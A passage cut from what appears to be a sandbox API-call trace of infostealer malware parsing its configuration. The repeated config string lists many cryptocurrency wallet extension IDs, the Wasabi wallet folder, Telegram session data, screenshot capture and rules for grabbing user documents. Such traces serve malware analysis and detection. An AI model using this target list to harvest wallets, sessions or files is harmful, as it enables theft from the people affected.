Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.328] lstrlenW (lpString="wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3402 [0266.328] LocalAlloc (uFlags=0x40, uBytes=0x1b14) returned 0x700f70 [0266.328] StrCpyW (in: psz1=0x6f8830, psz2="WalletWasabi\\\\Client" | out: psz1="WalletWasabi\\\\Client") returned="WalletWasabi\\\\Client" [0266.328] LocalFree (hMem=0x700f70) returned 0x0 [0266.328] StrStrW (lpFirst="*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.328] lstrlenW (lpString="wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3402 [0266.328] LocalAlloc (uFlags=0x40, uBytes=0x1b14) returned 0x700f70 [0266.329] StrCpyW (in: psz1=0x6fb178, psz2="*" | out: psz1="*") returned="*" [0266.329] LocalFree (hMem=0x700f70) returned 0x0 [0266.329] StrStrW (lpFirst="*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.329] lstrlenW (lpString="wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension 